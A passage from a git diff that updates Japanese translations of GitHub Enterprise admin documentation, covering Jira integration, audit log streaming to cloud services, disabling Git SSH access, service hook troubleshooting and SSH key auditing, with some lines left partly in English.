-intro: 'Organizations are great for creating distinct groups of users within your company, such as divisions or groups working on similar projects. {% ifversion ghae %}Internal{% else %}Public and internal{% endif %} repositories that belong to an organization are accessible to members of other organizations in the enterprise, while private repositories are inaccessible to anyone but members of the organization that are granted access.'
+intro: 'Organizationは企業内で、部署や同様のプロジェクトで作業を行うグループなど、個別のユーザグループを作成する素晴らしい手段です。 {% ifversion ghae %}Internal{% else %}Public and internal{% endif %} repositories that belong to an organization are accessible to members of other organizations in the enterprise, while private repositories are inaccessible to anyone but members of the organization that are granted access.'
 versions:
   ghec: '*'
   ghes: '*'
@@ -31,3 +31,4 @@ children:
   - /continuous-integration-using-jenkins
 shortTitle: Manage organizations
 ---
+
diff --git a/translations/ja-JP/content/admin/user-management/managing-organizations-in-your-enterprise/managing-projects-using-jira.md b/translations/ja-JP/content/admin/user-management/managing-organizations-in-your-enterprise/managing-projects-using-jira.md
index 10a117009a..8bc90cf1ec 100644
--- a/translations/ja-JP/content/admin/user-management/managing-organizations-in-your-enterprise/managing-projects-using-jira.md
+++ b/translations/ja-JP/content/admin/user-management/managing-organizations-in-your-enterprise/managing-projects-using-jira.md
@@ -16,9 +16,10 @@ topics:
   - Project management
 shortTitle: Project management with Jira
 ---
+
 ## Connecting Jira to a {% data variables.product.prodname_enterprise %} organization
 
-1. Sign into your {% data variables.product.prodname_enterprise %} account at http[s]://[hostname]/login. If already signed in, click on the {% data variables.product.prodname_dotcom %} logo in the top left corner.
+1. http[s]://[hostname]/login で {% data variables.product.prodname_enterprise %}のアカウントにサインインする。 If already signed in, click on the {% data variables.product.prodname_dotcom %} logo in the top left corner.
 2. Click on your profile icon under the {% data variables.product.prodname_dotcom %} logo and select the organization you would like to connect with Jira.
 
   ![Select an organization](/assets/images/enterprise/orgs-and-teams/profile-select-organization.png)
@@ -35,12 +36,12 @@ shortTitle: Project management with Jira
 
   ![Register new application button](/assets/images/enterprise/orgs-and-teams/register-oauth-application-button.png)
 
-6. Fill in the application settings:
+6. アプリケーションの設定を次のように記入する。
     - In the **Application name** field, type "Jira" or any name you would like to use to identify the Jira instance.
     - In the **Homepage URL** field, type the full URL of your Jira instance.
     - In the **Authorization callback URL** field, type the full URL of your Jira instance.
-7. Click **Register application**.
-8. At the top of the page, note the **Client ID** and **Client Secret**. You will need these for configuring your Jira instance.
+7. **Register application** をクリックする。
+8. ページの上部の [**Client ID**] と [**Client Secret**] をメモしてください。 You will need these for configuring your Jira instance.
 
 ## Jira instance configuration
 
@@ -57,13 +58,13 @@ shortTitle: Project management with Jira
 
   ![Link GitHub account to Jira](/assets/images/enterprise/orgs-and-teams/jira/jira-link-github-account.png)
 
-5. In the **Add New Account** modal, fill in your {% data variables.product.prodname_enterprise %} settings:
+5. [**Add New Account**] (新規アカウントを追加) モーダルで、{% data variables.product.prodname_enterprise %} の設定を記入してください。
     - From the **Host** dropdown menu, choose **{% data variables.product.prodname_enterprise %}**.
-    - In the **Team or User Account** field, type the name of your {% data variables.product.prodname_enterprise %} organization or personal account.
-    - In the **OAuth Key** field, type the Client ID of your {% data variables.product.prodname_enterprise %} developer application.
-    - In the **OAuth Secret** field, type the Client Secret for your {% data variables.product.prodname_enterprise %} developer application.
+    - **Team or User Account** の欄には、{% data variables.product.prodname_enterprise %}のOrganization、または個人アカウントの名前を入力する。
+    - **OAuth Key** の欄には、{% data variables.product.prodname_enterprise %}のディベロッパーアプリケーションのClient ID を入力する。
+    - **OAuth Secret** の欄には、{% data variables.product.prodname_enterprise %}のデベロッパーアプリケーションの Client Secret を入力する。
     - If you don't want to link new repositories owned by your {% data variables.product.prodname_enterprise %} organization or personal account, deselect **Auto Link New Repositories**.
     - If you don't want to enable smart commits, deselect **Enable Smart Commits**.
-    - Click **Add**.
-6. Review the permissions you are granting to your {% data variables.product.prodname_enterprise %} account and click **Authorize application**.
-7. If necessary, type your password to continue.
+    - [**Add**] をクリックします。
+6. {% data variables.product.prodname_enterprise %}に対して与えるアクセス権を確認して、**Authorize application** をクリックする。
+7. 必要であれば、パスワードを入力する。
diff --git a/translations/ja-JP/content/admin/user-management/managing-organizations-in-your-enterprise/managing-unowned-organizations-in-your-enterprise.md b/translations/ja-JP/content/admin/user-management/managing-organizations-in-your-enterprise/managing-unowned-organizations-in-your-enterprise.md
index 3a543d0238..4d003fd590 100644
--- a/translations/ja-JP/content/admin/user-management/managing-organizations-in-your-enterprise/managing-unowned-organizations-in-your-enterprise.md
+++ b/translations/ja-JP/content/admin/user-management/managing-organizations-in-your-enterprise/managing-unowned-organizations-in-your-enterprise.md
@@ -1,7 +1,6 @@
 ---
 title: Managing unowned organizations in your enterprise
 intro: Enterprise アカウントで現在オーナーがいない Organization のオーナーになることができます。
-product: '{% data reusables.gated-features.enterprise-accounts %}'
 permissions: Enterprise owners can manage unowned organizations in an enterprise account.
 redirect_from:
   - /github/setting-up-and-managing-your-enterprise/managing-organizations-in-your-enterprise-account/managing-unowned-organizations-in-your-enterprise-account
diff --git a/translations/ja-JP/content/admin/user-management/managing-organizations-in-your-enterprise/preventing-users-from-creating-organizations.md b/translations/ja-JP/content/admin/user-management/managing-organizations-in-your-enterprise/preventing-users-from-creating-organizations.md
index 41cbf9b46b..0e28c1d509 100644
--- a/translations/ja-JP/content/admin/user-management/managing-organizations-in-your-enterprise/preventing-users-from-creating-organizations.md
+++ b/translations/ja-JP/content/admin/user-management/managing-organizations-in-your-enterprise/preventing-users-from-creating-organizations.md
@@ -1,11 +1,11 @@
 ---
-title: Preventing users from creating organizations
+title: ユーザによるOrganizationの作成の禁止
 redirect_from:
   - /enterprise/admin/articles/preventing-users-from-creating-organizations
   - /enterprise/admin/hidden/preventing-users-from-creating-organizations
   - /enterprise/admin/user-management/preventing-users-from-creating-organizations
   - /admin/user-management/preventing-users-from-creating-organizations
-intro: You can prevent users from creating organizations in your enterprise.
+intro: ユーザが Enterprise 内に Organization を作成できないようにすることができます。
 versions:
   ghes: '*'
   ghae: '*'
@@ -16,6 +16,7 @@ topics:
   - Policies
 shortTitle: Prevent organization creation
 ---
+
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% ifversion ghes or ghae %}
 {% data reusables.enterprise-accounts.policies-tab %}
@@ -23,5 +24,4 @@ shortTitle: Prevent organization creation
 {% data reusables.enterprise-accounts.settings-tab %}
 {% endif %}
 {% data reusables.enterprise-accounts.options-tab %}
-4. Under "Users can create organizations", use the drop-down menu and click **Enabled** or **Disabled**.
-![Users can create organizations drop-down](/assets/images/enterprise/site-admin-settings/users-create-orgs-dropdown.png)
+4. [Users can create organizations（ユーザによるOrganizationの作成可能）] の下で、ドロップダウンメニューを使って [**Enabled（有効化）**] あるいは [**Disabled（無効化）**] を選択してください。 ![[Users can create organizations] ドロップダウン](/assets/images/enterprise/site-admin-settings/users-create-orgs-dropdown.png)
diff --git a/translations/ja-JP/content/admin/user-management/managing-organizations-in-your-enterprise/removing-organizations-from-your-enterprise.md b/translations/ja-JP/content/admin/user-management/managing-organizations-in-your-enterprise/removing-organizations-from-your-enterprise.md
index 0ba1cedf87..1dbb4672ea 100644
--- a/translations/ja-JP/content/admin/user-management/managing-organizations-in-your-enterprise/removing-organizations-from-your-enterprise.md
+++ b/translations/ja-JP/content/admin/user-management/managing-organizations-in-your-enterprise/removing-organizations-from-your-enterprise.md
@@ -1,7 +1,7 @@
 ---
 title: Removing organizations from your enterprise
 intro: 'If an organization should no longer be a part of your enterprise, you can remove the organization.'
-permissions: 'Enterprise owners can remove any organization from their enterprise.'
+permissions: Enterprise owners can remove any organization from their enterprise.
 versions:
   ghec: '*'
 type: how_to
@@ -23,9 +23,6 @@ shortTitle: Removing organizations
 ## Removing an organization from your Enterprise
 
 {% data reusables.enterprise-accounts.access-enterprise %}
-2. Under "Organizations", in the search bar, begin typing the organization's name until the organization appears in the search results.
-![Screenshot of the search field for organizations](/assets/images/help/enterprises/organization-search.png)
-3. To the right of the organization's name, select the {% octicon "gear" aria-label="The gear icon" %} drop-down menu and click **Remove organization**.
-![Screenshot of an organization in search results](/assets/images/help/enterprises/remove-organization.png)
-4. Review the warnings, then click **Remove organization**.
-![Screenshot of a warning message and button to remove organization](/assets/images/help/enterprises/remove-organization-warning.png)
+2. Under "Organizations", in the search bar, begin typing the organization's name until the organization appears in the search results. ![Screenshot of the search field for organizations](/assets/images/help/enterprises/organization-search.png)
+3. To the right of the organization's name, select the {% octicon "gear" aria-label="The gear icon" %} drop-down menu and click **Remove organization**. ![Screenshot of an organization in search results](/assets/images/help/enterprises/remove-organization.png)
+4. Review the warnings, then click **Remove organization**. ![Screenshot of a warning message and button to remove organization](/assets/images/help/enterprises/remove-organization-warning.png)
diff --git a/translations/ja-JP/content/admin/user-management/managing-organizations-in-your-enterprise/streaming-the-audit-logs-for-organizations-in-your-enterprise-account.md b/translations/ja-JP/content/admin/user-management/managing-organizations-in-your-enterprise/streaming-the-audit-logs-for-organizations-in-your-enterprise-account.md
index 01153604dc..5ddba0ed11 100644
--- a/translations/ja-JP/content/admin/user-management/managing-organizations-in-your-enterprise/streaming-the-audit-logs-for-organizations-in-your-enterprise-account.md
+++ b/translations/ja-JP/content/admin/user-management/managing-organizations-in-your-enterprise/streaming-the-audit-logs-for-organizations-in-your-enterprise-account.md
@@ -1,7 +1,6 @@
 ---
 title: Streaming the audit logs for organizations in your enterprise account
 intro: 'You can stream audit and Git events data from {% data variables.product.prodname_dotcom %} to an external data management system.'
-product: '{% data reusables.gated-features.enterprise-accounts %}'
 miniTocMaxHeadingLevel: 3
 versions:
   ghec: '*'
@@ -61,7 +60,7 @@ You set up the audit log stream on {% data variables.product.product_name %} by
 
 ### Setting up streaming to Amazon S3
 
-To stream audit logs to Amazon's S3 endpoint, you must have a bucket and access keys. For more information, see [Creating, configuring, and working with Amazon S3 buckets](https://docs.aws.amazon.com/AmazonS3/latest/userguide/creating-buckets-s3.html) in the the AWS documentation. Make sure to block public access to the bucket to protect your audit log information. 
+To stream audit logs to Amazon's S3 endpoint, you must have a bucket and access keys. For more information, see [Creating, configuring, and working with Amazon S3 buckets](https://docs.aws.amazon.com/AmazonS3/latest/userguide/creating-buckets-s3.html) in the the AWS documentation. Make sure to block public access to the bucket to protect your audit log information.
 
 To set up audit log streaming from {% data variables.product.prodname_dotcom %} you will need:
 * The name of your Amazon S3 bucket
@@ -71,43 +70,34 @@ To set up audit log streaming from {% data variables.product.prodname_dotcom %}
 For information on creating or accessing your access key ID and secret key, see [Understanding and getting your AWS credentials](https://docs.aws.amazon.com/general/latest/gr/aws-sec-cred-types.html) in the AWS documentation.
 
 {% data reusables.enterprise.navigate-to-log-streaming-tab %}
-1. Click **Configure stream** and select **Amazon S3**.
-   ![Choose Amazon S3 from the drop-down menu](/assets/images/help/enterprises/audit-stream-choice-s3.png)
+1. Click **Configure stream** and select **Amazon S3**. ![Choose Amazon S3 from the drop-down menu](/assets/images/help/enterprises/audit-stream-choice-s3.png)
 1. On the configuration page, enter:
    * The name of the bucket you want to stream to. For example, `auditlog-streaming-test`.
    * Your access key ID. For example, `ABCAIOSFODNN7EXAMPLE1`.
-   * Your secret key. For example, `aBcJalrXUtnWXYZ/A1MDENG/zPxRfiCYEXAMPLEKEY`.
-   ![Enter stream settings](/assets/images/help/enterprises/audit-stream-add-s3.png)
-1. Click **Check endpoint** to verify that {% data variables.product.prodname_dotcom %} can connect to the Amazon S3 endpoint.
-   ![Check the endpoint](/assets/images/help/enterprises/audit-stream-check.png)
+   * Your secret key. For example, `aBcJalrXUtnWXYZ/A1MDENG/zPxRfiCYEXAMPLEKEY`. ![Enter stream settings](/assets/images/help/enterprises/audit-stream-add-s3.png)
+1. Click **Check endpoint** to verify that {% data variables.product.prodname_dotcom %} can connect to the Amazon S3 endpoint. ![Check the endpoint](/assets/images/help/enterprises/audit-stream-check.png)
 {% data reusables.enterprise.verify-audit-log-streaming-endpoint %}
 
 ### Setting up streaming to Azure Event Hubs
 
-Before setting up a stream in {% data variables.product.prodname_dotcom %}, you must first have an event hub namespace in Microsoft Azure. Next, you must create an event hub instance within the namespace. You'll need the details of this event hub instance when you set up the stream. For details, see the Microsoft documentation, "[Quickstart: Create an event hub using Azure portal](https://docs.microsoft.com/en-us/azure/event-hubs/event-hubs-create)." 
+Before setting up a stream in {% data variables.product.prodname_dotcom %}, you must first have an event hub namespace in Microsoft Azure. Next, you must create an event hub instance within the namespace. You'll need the details of this event hub instance when you set up the stream. For details, see the Microsoft documentation, "[Quickstart: Create an event hub using Azure portal](https://docs.microsoft.com/en-us/azure/event-hubs/event-hubs-create)."
 
-You need two pieces of information about your event hub: its instance name and the connection string. 
+You need two pieces of information about your event hub: its instance name and the connection string.
 
 **On Microsoft Azure portal**:
-1. In the left menu select **Entities**. Then select **Event Hubs**. The names of your event hubs are listed. 
-   ![A list of event hubs](/assets/images/help/enterprises/azure-event-hubs-list.png)
+1. In the left menu select **Entities**. Then select **Event Hubs**. The names of your event hubs are listed. ![A list of event hubs](/assets/images/help/enterprises/azure-event-hubs-list.png)
 1. Make a note of the name of the event hub you want to stream to.
 1. Click the required event hub. Then, in the left menu, select **Shared Access Policies**.
-1. Select a shared access policy in the list of policies, or create a new policy.
-   ![A list of shared access policies](/assets/images/help/enterprises/azure-shared-access-policies.png)
-1. Click the button to the right of the **Connection string-primary key** field to copy the connection string.
-   ![The event hub connection string](/assets/images/help/enterprises/azure-connection-string.png)
+1. Select a shared access policy in the list of policies, or create a new policy. ![A list of shared access policies](/assets/images/help/enterprises/azure-shared-access-policies.png)
+1. Click the button to the right of the **Connection string-primary key** field to copy the connection string. ![The event hub connection string](/assets/images/help/enterprises/azure-connection-string.png)
 
 **On {% data variables.product.prodname_dotcom %}**:
 {% data reusables.enterprise.navigate-to-log-streaming-tab %}
-1. Click **Configure stream** and select **Azure Event Hubs**.
-   ![Choose Azure Events Hub from the drop-down menu](/assets/images/help/enterprises/audit-stream-choice-azure.png)
+1. Click **Configure stream** and select **Azure Event Hubs**. ![Choose Azure Events Hub from the drop-down menu](/assets/images/help/enterprises/audit-stream-choice-azure.png)
 1. On the configuration page, enter:
    * The name of the Azure Event Hubs instance.
-   * The connection string.
-   ![Enter stream settings](/assets/images/help/enterprises/audit-stream-add-azure.png)
-1. Click **Check endpoint** to verify that {% data variables.product.prodname_dotcom %} can connect to the Azure endpoint.
-   ![Check the endpoint](/assets/images/help/enterprises/audit-stream-check.png)
+   * The connection string. ![Enter stream settings](/assets/images/help/enterprises/audit-stream-add-azure.png)
+1. Click **Check endpoint** to verify that {% data variables.product.prodname_dotcom %} can connect to the Azure endpoint. ![Check the endpoint](/assets/images/help/enterprises/audit-stream-check.png)
 {% data reusables.enterprise.verify-audit-log-streaming-endpoint %}
 
 ### Setting up streaming to Google Cloud Storage
@@ -131,7 +121,7 @@ To set up streaming to Google Cloud Storage, you must create a service account i
 
    ![Screenshot of the "JSON Credentials" text field](/assets/images/help/enterprises/audit-stream-json-credentials-google-cloud-storage.png)
 
-1. To verify that {% data variables.product.prodname_dotcom %} can connect and write to the Google Cloud Storage bucket, click **Check endpoint**. 
+1. To verify that {% data variables.product.prodname_dotcom %} can connect and write to the Google Cloud Storage bucket, click **Check endpoint**.
 
    ![Screenshot of the "Check endpoint" button](/assets/images/help/enterprises/audit-stream-check-endpoint-google-cloud-storage.png)
 
@@ -142,25 +132,22 @@ To set up streaming to Google Cloud Storage, you must create a service account i
 To stream audit logs to Splunk's HTTP Event Collector (HEC) endpoint you must make sure that the endpoint is configured to accept HTTPS connections. For more information, see [Set up and use HTTP Event Collector in Splunk Web](https://docs.splunk.com/Documentation/Splunk/latest/Data/UsetheHTTPEventCollector) in the Splunk documentation.
 
 {% data reusables.enterprise.navigate-to-log-streaming-tab %}
-1. Click **Configure stream** and select **Splunk**.
-   ![Choose Splunk from the drop-down menu](/assets/images/help/enterprises/audit-stream-choice-splunk.png)
+1. Click **Configure stream** and select **Splunk**. ![Choose Splunk from the drop-down menu](/assets/images/help/enterprises/audit-stream-choice-splunk.png)
 1. On the configuration page, enter:
    * The domain on which the application you want to stream to is hosted.
-  
-     If you are using Splunk Cloud, `Domain` should be `http-inputs-<host>`, where `host` is the domain you use in Splunk Cloud. For example: `http-inputs-mycompany.splunkcloud.com`. 
+
+     If you are using Splunk Cloud, `Domain` should be `http-inputs-<host>`, where `host` is the domain you use in Splunk Cloud. たとえば、`http-inputs-mycompany.splunkcloud.com` などです。
 
    * The port on which the application accepts data.<br>
 
      If you are using Splunk Cloud, `Port` should be `443` if you haven't changed the port configuration. If you are using the free trial version of Splunk Cloud, `Port` should be `8088`.
 
-   * A token that {% data variables.product.prodname_dotcom %} can use to authenticate to the third-party application.
-   ![Enter stream settings](/assets/images/help/enterprises/audit-stream-add-splunk.png)
+   * A token that {% data variables.product.prodname_dotcom %} can use to authenticate to the third-party application. ![Enter stream settings](/assets/images/help/enterprises/audit-stream-add-splunk.png)
 
 1. Leave the **Enable SSL verification** check box selected.
 
     Audit logs are always streamed as encrypted data, however, with this option selected, {% data variables.product.prodname_dotcom %} verifies the SSL certificate of your Splunk instance when delivering events. SSL verification helps ensure that events are delivered to your URL endpoint securely. You can clear the selection of this option, but we recommend you leave SSL verification enabled.
-1. Click **Check endpoint** to verify that {% data variables.product.prodname_dotcom %} can connect to the Splunk endpoint.
-   ![Check the endpoint](/assets/images/help/enterprises/audit-stream-check-splunk.png)
+1. Click **Check endpoint** to verify that {% data variables.product.prodname_dotcom %} can connect to the Splunk endpoint. ![Check the endpoint](/assets/images/help/enterprises/audit-stream-check-splunk.png)
 {% data reusables.enterprise.verify-audit-log-streaming-endpoint %}
 
 ## Pausing audit log streaming
@@ -168,8 +155,7 @@ To stream audit logs to Splunk's HTTP Event Collector (HEC) endpoint you must ma
 Pausing the stream allows you to perform maintenance on the receiving application without losing audit data. Audit logs are stored for up to seven days on {% data variables.product.product_location %} and are then exported when you unpause the stream.
 
 {% data reusables.enterprise.navigate-to-log-streaming-tab %}
-1. Click **Pause stream**.
-   ![Pause the stream](/assets/images/help/enterprises/audit-stream-pause.png)
+1. Click **Pause stream**. ![Pause the stream](/assets/images/help/enterprises/audit-stream-pause.png)
 1. A confirmation message is displayed. Click **Pause stream** to confirm.
 
 When the application is ready to receive audit logs again, click **Resume stream** to restart streaming audit logs.
@@ -177,6 +163,5 @@ When the application is ready to receive audit logs again, click **Resume stream
 ## Deleting the audit log stream
 
 {% data reusables.enterprise.navigate-to-log-streaming-tab %}
-1. Click **Delete stream**.
-   ![Delete the stream](/assets/images/help/enterprises/audit-stream-delete.png)
+1. Click **Delete stream**. ![Delete the stream](/assets/images/help/enterprises/audit-stream-delete.png)
 2. A confirmation message is displayed. Click **Delete stream** to confirm.
diff --git a/translations/ja-JP/content/admin/user-management/managing-organizations-in-your-enterprise/viewing-the-audit-logs-for-organizations-in-your-enterprise.md b/translations/ja-JP/content/admin/user-management/managing-organizations-in-your-enterprise/viewing-the-audit-logs-for-organizations-in-your-enterprise.md
index 8ee2d906ec..77bda1ca39 100644
--- a/translations/ja-JP/content/admin/user-management/managing-organizations-in-your-enterprise/viewing-the-audit-logs-for-organizations-in-your-enterprise.md
+++ b/translations/ja-JP/content/admin/user-management/managing-organizations-in-your-enterprise/viewing-the-audit-logs-for-organizations-in-your-enterprise.md
@@ -1,7 +1,6 @@
 ---
 title: Viewing the audit logs for organizations in your enterprise
-intro: Enterprise owners can view aggregated actions from all of the organizations owned by an enterprise account in its audit log.
-product: '{% data reusables.gated-features.enterprise-accounts %}'
+intro: Enterprise オーナーは、Enterprise アカウントが所有するすべての Organization からのアクションが集約された Audit log を表示できます。
 redirect_from:
   - /github/setting-up-and-managing-your-enterprise/managing-organizations-in-your-enterprise-account/viewing-the-audit-logs-for-organizations-in-your-enterprise-account
   - /articles/viewing-the-audit-logs-for-organizations-in-your-business-account
@@ -18,16 +17,17 @@ topics:
   - Organizations
 shortTitle: View organization audit logs
 ---
-Each audit log entry shows applicable information about an event, such as:
 
-- The organization an action was performed in
-- The user who performed the action
-- Which repository an action was performed in
-- The action that was performed
-- Which country the action took place in
-- The date and time the action occurred
+各 Audit log エントリには、次のようなイベントに関する適切な情報が表示されます:
 
-You can search the audit log for specific events and export audit log data. For more information on searching the audit log and on specific organization events, see "[Reviewing the audit log for your organization](/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization)."
+- アクションが実行された Organization
+- アクションを実行したユーザ
+- アクションの対象となったリポジトリ
+- 実行されたアクション
+- アクションが実行された国
+- アクションが発生した日時
+
+Audit log で特定のイベントを検索したり、Audit log データをエクスポートしたりできます。 Audit log の検索と特定の Organization イベントの詳細については、「[Organization の Audit log をレビューする](/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization)」を参照してください。
 
 You can also stream audit and Git events data from {% data variables.product.prodname_dotcom %} to an external data management system. For more information, see "[Streaming the audit logs for organizations in your enterprise account](/admin/user-management/managing-organizations-in-your-enterprise/streaming-the-audit-logs-for-organizations-in-your-enterprise-account)."
 
diff --git a/translations/ja-JP/content/admin/user-management/managing-repositories-in-your-enterprise/disabling-git-ssh-access-on-your-enterprise.md b/translations/ja-JP/content/admin/user-management/managing-repositories-in-your-enterprise/disabling-git-ssh-access-on-your-enterprise.md
index e02538d16a..495a7c9bd5 100644
--- a/translations/ja-JP/content/admin/user-management/managing-repositories-in-your-enterprise/disabling-git-ssh-access-on-your-enterprise.md
+++ b/translations/ja-JP/content/admin/user-management/managing-repositories-in-your-enterprise/disabling-git-ssh-access-on-your-enterprise.md
@@ -1,5 +1,5 @@
 ---
-title: Disabling Git SSH access on your enterprise
+title: Enterprise で Git SSH アクセスを無効化する
 redirect_from:
   - /enterprise/admin/hidden/disabling-ssh-access-for-a-user-account
   - /enterprise/admin/articles/disabling-ssh-access-for-a-user-account
@@ -14,7 +14,7 @@ redirect_from:
   - /enterprise/admin/user-management/disabling-git-ssh-access-on-github-enterprise-server
   - /admin/user-management/disabling-git-ssh-access-on-github-enterprise-server
   - /admin/user-management/disabling-git-ssh-access-on-your-enterprise
-intro: You can prevent people from using Git over SSH for certain or all repositories on your enterprise.
+intro: Enterprise 内の特定のリポジトリまたはすべてのリポジトリで、ユーザが SSH 経由で Git を使用できないようにすることができます。
 versions:
   ghes: '*'
   ghae: '*'
@@ -26,7 +26,8 @@ topics:
   - SSH
 shortTitle: Disable SSH for Git
 ---
-## Disabling Git SSH access to a specific repository
+
+## 特定のリポジトリへのGit SSHアクセスの無効化
 
 {% data reusables.enterprise_site_admin_settings.override-policy %}
 
@@ -36,10 +37,9 @@ shortTitle: Disable SSH for Git
 {% data reusables.enterprise_site_admin_settings.access-settings %}
 {% data reusables.enterprise_site_admin_settings.admin-top-tab %}
 {% data reusables.enterprise_site_admin_settings.admin-tab %}
-1. Under "Git SSH access", use the drop-down menu, and click **Disabled**.
- ![Git SSH access drop-down menu with disabled option selected](/assets/images/enterprise/site-admin-settings/git-ssh-access-repository-setting.png)
+1. [Git SSH access] で、ドロップダウンメニューを使用して [**Disabled**] を選択します。 ![無効化オプションが選択されたGit SSHアクセスドロップダウンメニュー](/assets/images/enterprise/site-admin-settings/git-ssh-access-repository-setting.png)
 
-## Disabling Git SSH access to all repositories owned by a user or organization
+## ユーザもしくは組織が所有するすべてのリポジトリへのGit SSHアクセスの無効化
 
 {% data reusables.enterprise_site_admin_settings.access-settings %}
 {% data reusables.enterprise_site_admin_settings.search-user-or-org %}
@@ -47,10 +47,9 @@ shortTitle: Disable SSH for Git
 {% data reusables.enterprise_site_admin_settings.access-settings %}
 {% data reusables.enterprise_site_admin_settings.admin-top-tab %}
 {% data reusables.enterprise_site_admin_settings.admin-tab %}
-7. Under "Git SSH access", use the drop-down menu, and click **Disabled**. Then, select **Enforce on all repositories**.
- ![Git SSH access drop-down menu with disabled option selected](/assets/images/enterprise/site-admin-settings/git-ssh-access-organization-setting.png)
+7. [Git SSH access] で、ドロップダウンメニューを使用して [**Disabled**] を選択します。 続いて、**Enforce on all repositories（すべてのリポジトリで強制）**を選択してください。 ![無効化オプションが選択されたGit SSHアクセスドロップダウンメニュー](/assets/images/enterprise/site-admin-settings/git-ssh-access-organization-setting.png)
 
-## Disabling Git SSH access to all repositories in your enterprise
+## Enterprise 内のすべてのリポジトリへの Git SSH アクセスを無効化する
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% ifversion ghes or ghae %}
@@ -59,5 +58,4 @@ shortTitle: Disable SSH for Git
 {% data reusables.enterprise-accounts.settings-tab %}
 {% endif %}
 {% data reusables.enterprise-accounts.options-tab %}
-7. Under "Git SSH access", use the drop-down menu, and click **Disabled**. Then, select **Enforce on all repositories**.
- ![Git SSH access drop-down menu with disabled option selected](/assets/images/enterprise/site-admin-settings/git-ssh-access-appliance-setting.png)
+7. [Git SSH access] で、ドロップダウンメニューを使用して [**Disabled**] を選択します。 続いて、**Enforce on all repositories（すべてのリポジトリで強制）**を選択してください。 ![無効化オプションが選択されたGit SSHアクセスドロップダウンメニュー](/assets/images/enterprise/site-admin-settings/git-ssh-access-appliance-setting.png)
diff --git a/translations/ja-JP/content/admin/user-management/managing-repositories-in-your-enterprise/troubleshooting-service-hooks.md b/translations/ja-JP/content/admin/user-management/managing-repositories-in-your-enterprise/troubleshooting-service-hooks.md
index 90b442a4b8..d14f7161e9 100644
--- a/translations/ja-JP/content/admin/user-management/managing-repositories-in-your-enterprise/troubleshooting-service-hooks.md
+++ b/translations/ja-JP/content/admin/user-management/managing-repositories-in-your-enterprise/troubleshooting-service-hooks.md
@@ -1,6 +1,6 @@
 ---
-title: Troubleshooting service hooks
-intro: 'If payloads aren''t being delivered, check for these common problems.'
+title: サービスフックのトラブルシューティング
+intro: ペイロードが配信されない場合、以下の一般的な問題をチェックしてください。
 redirect_from:
   - /enterprise/admin/articles/troubleshooting-service-hooks
   - /enterprise/admin/developer-workflow/troubleshooting-service-hooks
@@ -13,36 +13,31 @@ topics:
   - Enterprise
 shortTitle: Troubleshoot service hooks
 ---
-## Getting information on deliveries
 
-You can find information for the last response of all service hooks deliveries on any repository.
+## デリバリーについての情報を入手
+
+任意のリポジトリのすべてのサービスフックのデリバリに対する最後のレスポンスに関する情報を調べることができます。
 
 {% data reusables.enterprise_site_admin_settings.access-settings %}
-2. Browse to the repository you're investigating.
-3. Click on the **Hooks** link in the navigation sidebar.
-  ![Hooks Sidebar](/assets/images/enterprise/settings/Enterprise-Hooks-Sidebar.png)
-4. Click on the **Latest Delivery** link under the service hook having problems.
-  ![Hook Details](/assets/images/enterprise/settings/Enterprise-Hooks-Details.png)
-5. Under **Remote Calls**, you'll see the headers that were used when POSTing to the remote server along with the response that the remote server sent back to your installation.
+2. 調べるリポジトリを開ける。
+3. ナビゲーションサイドバーで **Hooks** のリンクをクリックする。 ![フックのサイドバー](/assets/images/enterprise/settings/Enterprise-Hooks-Sidebar.png)
+4. 問題が発生しているサービスフックで、**Latest Delivery** へのリンクをクリックする。 ![フックの詳細](/assets/images/enterprise/settings/Enterprise-Hooks-Details.png)
+5. [**Remote Calls**] (リモート呼び出し) の下に、リモートサーバーへの POST の際に使われたヘッダと、リモートサーバーがあなたの環境に返信したレスポンスを見ることができます。
 
-## Viewing the payload
+## ペイロードの表示
 
 {% data reusables.enterprise_site_admin_settings.access-settings %}
-2. Browse to the repository you're investigating.
-3. Click on the **Hooks** link in the navigation sidebar.
-  ![Hooks Sidebar](/assets/images/enterprise/settings/Enterprise-Hooks-Sidebar.png)
-4. Click on the **Latest Delivery** link under the service hook having problems.
-5. Click **Delivery**.
-  ![Viewing the payload](/assets/images/enterprise/settings/Enterprise-Hooks-Payload.png)
+2. 調べるリポジトリを開ける。
+3. ナビゲーションサイドバーで **Hooks** のリンクをクリックする。 ![フックのサイドバー](/assets/images/enterprise/settings/Enterprise-Hooks-Sidebar.png)
+4. 問題が発生しているサービスフックで、**Latest Delivery** へのリンクをクリックする。
+5. [**Delivery**] をクリックします。 ![ペイロードの表示](/assets/images/enterprise/settings/Enterprise-Hooks-Payload.png)
 
-## Viewing past deliveries
+## 過去のデリバリーの表示
 
-Deliveries are stored for 15 days.
+デリバリーは 15 日間保存されます。
 
 {% data reusables.enterprise_site_admin_settings.access-settings %}
-2. Browse to the repository you're investigating.
-3. Click on the **Hooks** link in the navigation sidebar.
-  ![Hooks Sidebar](/assets/images/enterprise/settings/Enterprise-Hooks-Sidebar.png)
-4. Click on the **Latest Delivery** link under the service hook having problems.
-5. To view other deliveries to that specific hook, click **More for this Hook ID**:
-  ![Viewing more deliveries](/assets/images/enterprise/settings/Enterprise-Hooks-More-Deliveries.png)
+2. 調べるリポジトリを開ける。
+3. ナビゲーションサイドバーで **Hooks** のリンクをクリックする。 ![フックのサイドバー](/assets/images/enterprise/settings/Enterprise-Hooks-Sidebar.png)
+4. 問題が発生しているサービスフックで、**Latest Delivery** へのリンクをクリックする。
+5. その特定のフックに対する他のデリバリーを見るには、[**More for this Hook ID**] をクリックします。 ![デリバリーをさらに表示](/assets/images/enterprise/settings/Enterprise-Hooks-More-Deliveries.png)
diff --git a/translations/ja-JP/content/admin/user-management/managing-users-in-your-enterprise/auditing-ssh-keys.md b/translations/ja-JP/content/admin/user-management/managing-users-in-your-enterprise/auditing-ssh-keys.md
index b7fb055a49..0c85dd65ca 100644
--- a/translations/ja-JP/content/admin/user-management/managing-users-in-your-enterprise/auditing-ssh-keys.md
+++ b/translations/ja-JP/content/admin/user-management/managing-users-in-your-enterprise/auditing-ssh-keys.md
@@ -1,6 +1,6 @@
 ---
-title: Auditing SSH keys
-intro: Site administrators can initiate an instance-wide audit of SSH keys.
+title: SSHキーの監査
+intro: サイト管理者は SSH キーのインスタンス全体に対する監査を始めることができます。
 redirect_from:
   - /enterprise/admin/articles/auditing-ssh-keys
